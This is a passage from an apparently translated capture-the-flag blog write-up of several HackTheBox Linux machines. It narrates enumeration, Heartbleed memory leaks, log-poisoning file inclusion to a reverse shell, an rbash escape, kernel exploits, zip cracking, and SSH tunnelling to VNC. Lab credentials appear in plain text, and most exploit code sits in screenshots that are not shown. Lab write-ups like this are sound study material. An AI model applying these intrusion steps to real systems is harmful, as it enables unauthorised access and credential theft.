port 4555 with these credentials.&lt;/p&gt;&#10;&lt;p&gt;The screenshot of the commands run after connecting directly to 4555 with telnet is gone. Roughly speaking, enter the username and password, then type help.&lt;/p&gt;&#10;&lt;p&gt;It displays many commands, including one for listing accounts. You can change the passwords for those accounts, then log in over pop3 and read the received emails. Just reset all of their passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0021.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Check them one by one.&lt;/p&gt;&#10;&lt;p&gt;I eventually found a password in mindy&amp;rsquo;s account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The basic pop3 commands are all available online.&lt;/p&gt;&#10;&lt;p&gt;At this point I had a foothold, so privilege escalation came next. I also made a mistake during privilege escalation and checked someone else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;The login succeeded. As a small aside, remember how the reverse shell required someone to log in? The other listener happened to receive it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0023.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just stop the listener.&lt;/p&gt;&#10;&lt;p&gt;I used this guide to escape rbash. It is very detailed.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/7642?time__1311=n4%2BxnD0DyDuDgDfxGqP05fbWDO8ipm4eG%3DKQO4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh &lt;a class="link" href="mailto:mindy@10.10.10.51" &gt;mindy@10.10.10.51&lt;/a&gt; -t &amp;ldquo;bash &amp;ndash;noprofile&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;I ran into many problems while escalating privileges.&lt;/p&gt;&#10;&lt;p&gt;My approach was to start with sudo, but sudo was unavailable, and I did not know the root password needed to switch users with su.&lt;/p&gt;&#10;&lt;p&gt;I checked suid and found nothing. I also checked cron. None of the usual privilege-escalation paths turned up anything.&lt;/p&gt;&#10;&lt;p&gt;I then searched for files and only found /opt/tmp.py. This file was highly suspicious, but at the time I could not find anything linked to it. I added os.system(&amp;ldquo;id&amp;rdquo;) to check its privileges, but I could not determine whether the file was run by a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0024.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obviously, it could only have the current user&amp;rsquo;s privileges, but I genuinely could not determine whether it was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;debian9 4.9.0-3-686-pae also had no privilege-escalation vulnerabilities at all.&lt;/p&gt;&#10;&lt;p&gt;I had already turned my attention to /bin/ under the user&amp;rsquo;s directory because it also had 777 permissions and was owned by root, but in practice I could not use sudo.&lt;/p&gt;&#10;&lt;p&gt;Only after reading a write-up did I discover that /opt/tmp.py was run by a scheduled task. I checked several write-ups; they found it using &lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;pspy&lt;/a&gt; or &lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0025.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just write something that launches a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0026.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually collected all these scripts before, but never developed the habit of using them. My thought process was still flawed, though this did help me improve it.&lt;/p&gt;&#10;&lt;h2 id="4node"&gt;&lt;a href="#4node" class="header-anchor"&gt;&lt;/a&gt;4.Node&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started with the web application. It was built with node.js, and I found several usernames worth noting down.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through the js files and found two endpoints.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.58:3000/api/users/latest" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.58:3000/api/users/latest&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Why did these three people take longer to appear on the home page? At first I thought their images were loading slowly over AJAX, but the real reason caught me by surprise.&lt;/p&gt;&#10;&lt;p&gt;There is actually a tool that can find these quickly, jsfinder, but oscp generally does not allow automated scripts like this, so for now I am reviewing them manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only the last one did not turn up.&lt;/p&gt;&#10;&lt;p&gt;myP14ceAdm1nAcc0uNT manchester&lt;/p&gt;&#10;&lt;p&gt;tom spongebob&lt;/p&gt;&#10;&lt;p&gt;mark snowflake&lt;/p&gt;&#10;&lt;p&gt;Try each one against ssh and the website.&lt;/p&gt;&#10;&lt;p&gt;Only the administrator can download the backup. This endpoint is also present in the front-end js, but it requires authentication: /api/admin/backup&lt;/p&gt;&#10;&lt;p&gt;After decoding the backup file from base64, I found that it was a binary file. I tried many methods but could not unpack it.&lt;/p&gt;&#10;&lt;p&gt;Eventually I discovered that it was a zip file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Decode the base64 into a file, then unzip it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;app.js contains the mongodb password, and ssh can connect directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;mark:5AYRft73VtFpc84k&lt;/p&gt;&#10;&lt;p&gt;This time I uploaded a script first to escalate privileges. None of the standard privilege-escalation paths worked, so I checked the kernel and found an exp. This one was the best match.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Upload it, compile it, and run it to obtain root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h2 id="5valentine"&gt;&lt;a href="#5valentine" class="header-anchor"&gt;&lt;/a&gt;5.valentine&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an interesting file in the dev directory. After decoding it, it looked like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0040.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an aes-encrypted key and an rsa private key. It felt like they might be used for an ssh connection, and judging by the name the user should be hype. Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0041.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0042.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, it is asking us for the key&amp;rsquo;s password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0043.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Even rockyou did not contain the password. It felt like there was still something in the web page.&lt;/p&gt;&#10;&lt;p&gt;Judging from the notes, something needed to be decoded: make sure encoding and decoding are done on the client, fix this before going live, and do not use any encoder or decoder until it is complete.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0044.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Honestly, I was completely confused. I focused on the image, thinking it might be a technical issue, but found that the image contained nothing at all.&lt;/p&gt;&#10;&lt;p&gt;I pinned my hopes on directory brute-forcing. It was genuinely slow, but later I did find several encrypted php files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0045.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had actually forgotten the most important step here. Sometimes an important hint is a directory you can test manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0046.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In practice, there was nothing there either. I had no ideas left.&lt;/p&gt;&#10;&lt;p&gt;I eventually had to check a write-up and discovered something I had never learned before: scanning with &amp;ndash;script vuln in nmap.&lt;/p&gt;&#10;&lt;p&gt;It scans for vulnerabilities, and one of the vulnerabilities it mentioned was Heartbleed. I knew nothing about it, so this broadened my thinking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0047.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com" target="_blank" rel="noopener"&#10; &gt;https://stackabuse.com/how-to-exploit-the-heartbleed-bug/?ref=benheater.com&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# This is the packet that triggers the memory over-read.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The heartbeat protocol works by returning to the client the same data that was sent.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# That is, if we send &amp;ldquo;abcd&amp;rdquo; the server will return &amp;ldquo;abcd&amp;rdquo;.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The flaw is triggered when we tell the server that we are sending a message that is X bytes long&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (64 kB in this case), but we send a shorter message; OpenSSL won&amp;rsquo;t check if we really sent the X bytes of data.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# The server will store our message, then read the X bytes of data from its memory&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (it reads the memory region where our message is supposedly stored) and sends that read message back.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because we didn&amp;rsquo;t send any message at all&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# (we just told that we sent FF FF bytes, but no message was sent after that)&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# when OpenSSL receives our message, it won&amp;rsquo;t overwrite any of OpenSSL&amp;rsquo;s memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;# Because of that, the received message will contain X bytes of actual OpenSSL memory.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;This explains it in great detail and makes the basic logic clear. We tell the server how many bytes we sent, but in reality we did not send them. It still returns that many bytes, and because we sent no actual information, it returns private information from the server&amp;rsquo;s memory instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0048.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;kali includes several scripts, so I tested one of them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0049.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through the script. It was very easy to use and even allowed a custom port.&lt;/p&gt;&#10;&lt;p&gt;I restarted the target, mainly because I had run nmap and the directory brute-forcing tools so much that all the important information had disappeared. I stared at it for ages, and every ua header was from nmap.&lt;/p&gt;&#10;&lt;p&gt;After looping several times and still finding nothing, I wrote a script and eventually found the important text.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0050.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0051.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0052.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decodes to heartbleedbelied&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0053.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Another new problem. Let&amp;rsquo;s check google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0054.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0055.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold. Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;The first thing was still to check sudo for conventional privilege escalation, but without the password I could not use it. I started exploring files, first uploading LinEnum.sh and pspy.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While exploring, I found that this linux version was very old and had a corresponding vulnerability, so I started trying the exp.&lt;/p&gt;&#10;&lt;p&gt;ubuntu 12.04&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found many exp, but none of them worked.&lt;/p&gt;&#10;&lt;p&gt;So I started exploring files. The command history contained many interesting things.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmux -S /.devs/dev_sess&lt;/p&gt;&#10;&lt;p&gt;I ran it and immediately escalated to root.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s understand why.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This file was assigned to the hype group and given read and write permissions, so the socket file could be used directly for communication.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually visible here too.&lt;/p&gt;&#10;&lt;p&gt;The official difficulty was easy, but it felt closer to medium for me, mainly because I did not think of using Nmap.&lt;/p&gt;&#10;&lt;h2 id="6poison"&gt;&lt;a href="#6poison" class="header-anchor"&gt;&lt;/a&gt;6.Poison&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a file inclusion point on port 80.&lt;/p&gt;&#10;&lt;p&gt;There was a lot to exploit here. First, it allowed arbitrary file reads. There was also phpinfo information, and another file exposed a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;With both the username and password, the login succeeded.&lt;/p&gt;&#10;&lt;p&gt;Going back to the file inclusion issue, remote code execution had been disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, php code could still be written into the log, and including the log could also launch a reverse shell.&lt;/p&gt;&#10;&lt;p&gt;But that user&amp;rsquo;s privileges seemed too limited.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s log in directly here.&lt;/p&gt;&#10;&lt;p&gt;I went through everything and saw something interesting: the user&amp;rsquo;s shell was cshell. There was also a secret.zip file that required a password.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to kali with nc and run john against rockyou.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not crack the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out that the password was simply the login password: Charix!2#4%6&amp;amp;8(0&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in it. I did not understand what it was, but I could confirm that it was a binary file.&lt;/p&gt;&#10;&lt;p&gt;Upload the scripts and start collecting interesting findings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Scheduled task: root runs /usr/libexec/atrun once every 5 minutes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in this configuration file either.&lt;/p&gt;&#10;&lt;p&gt;At this point I found that there were no conventional privilege-escalation paths at all, so I checked the kernel.&lt;/p&gt;&#10;&lt;p&gt;The kernel did not have any useful vulnerabilities either.&lt;/p&gt;&#10;&lt;p&gt;I could only read write-ups. Every one I checked used vnc for privilege escalation. Once I knew the entry point, I started exploring.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;vnc was indeed running, but why exploit vnc? My understanding was that there must be some vnc credentials to find. vnc was currently hosted locally, so port forwarding was required.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Disabling the firewall did not help because it was bound to 127.0.0.1.&lt;/p&gt;&#10;&lt;p&gt;Since ssh was accessible, use ssh directly for the forwarding.&lt;/p&gt;&#10;&lt;p&gt;ssh tunnel: &lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;, &lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8081:localhost:5901 &lt;a class="link" href="mailto:charix@10.10.10.84" &gt;charix@10.10.10.84&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, use the file extracted earlier.&lt;/p&gt;&#10;&lt;p&gt;vncviewer -passwd secret 127.0.0.1:5901&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the vnc password file.&lt;/p&gt;&#10;&lt;p&gt;It can also be decrypted with &lt;a class="link" href="https://github.com/jeroennijhof/vncpwd" target="_blank" rel="noopener"&#10; &gt;https://github.com/jeroennijhof/vncpwd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completes it. The later machines get increasingly difficult, so the main goal is to learn the approach. Port forwarding does not have to use ssh; ssh is simply very convenient.&lt;/p&gt;&#10;&lt;p&gt;Looking back at a write-up, I also found something I had missed: a phpinfo race condition.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="7tartarsauce"&gt;&lt;a href="#7tartarsauce" class="header-anchor"&gt;&lt;/a&gt;7.TartarSauce&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;Only port 80 was open, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;I am filling this in later, so some of the configuration may look a little strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on this page. Later, robots and directory brute-forcing revealed several locations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.88/webservices/monstra-3.0.4/admin/i" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/a&gt; weak credentials admin/admin&lt;/p&gt;&#10;&lt;p&gt;However, it prevented files from being modified, so no files could be uploaded. None of the exp I found worked. I wasted a great deal of time here before realizing it was a Rabbit Hole.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked gobuster and found another directory mentioned in a write-up.&lt;/p&gt;&#10;&lt;p&gt;This was wordpress. I found a wpadmin user, but could not crack the password.&lt;/p&gt;&#10;&lt;p&gt;My notes here were sparse, but this route really did work, so I recorded it. I ran into many misconceptions while working through it and kept searching.&lt;/p&gt;&#10;&lt;p&gt;In the end, I could not make any progress through wordpress and checked a write-up. My wpscan could not find the vulnerable point at all, and neither could the nmap scripts. Only after adding threads to wpscan could it finish in 20 minutes. It was far too slow. Moving on.&lt;/p&gt;&#10;&lt;p&gt;At this point I was completely stuck and had no choice but to check the next step in a write-up. The key was that the gwolle-gb plugin had a remote file inclusion vulnerability that provided a foothold. In most write-ups, this was found by adding &amp;ndash;plugins-detection aggressive to wpscan for a comprehensive scan. It took 3 hours when I ran it; adding threads later reduced that to 20 minutes.&lt;/p&gt;&#10;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50&lt;/p&gt;&#10;&lt;p&gt;nmap&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;#collect plugins&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also returned results. Check the plugins one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the key point and completed the attack chain. Next, find an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just concatenate the path and host a reverse-shell script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the description and what I encountered myself, the URL appends wp-load.php to the end.&lt;/p&gt;&#10;&lt;p&gt;Just construct the 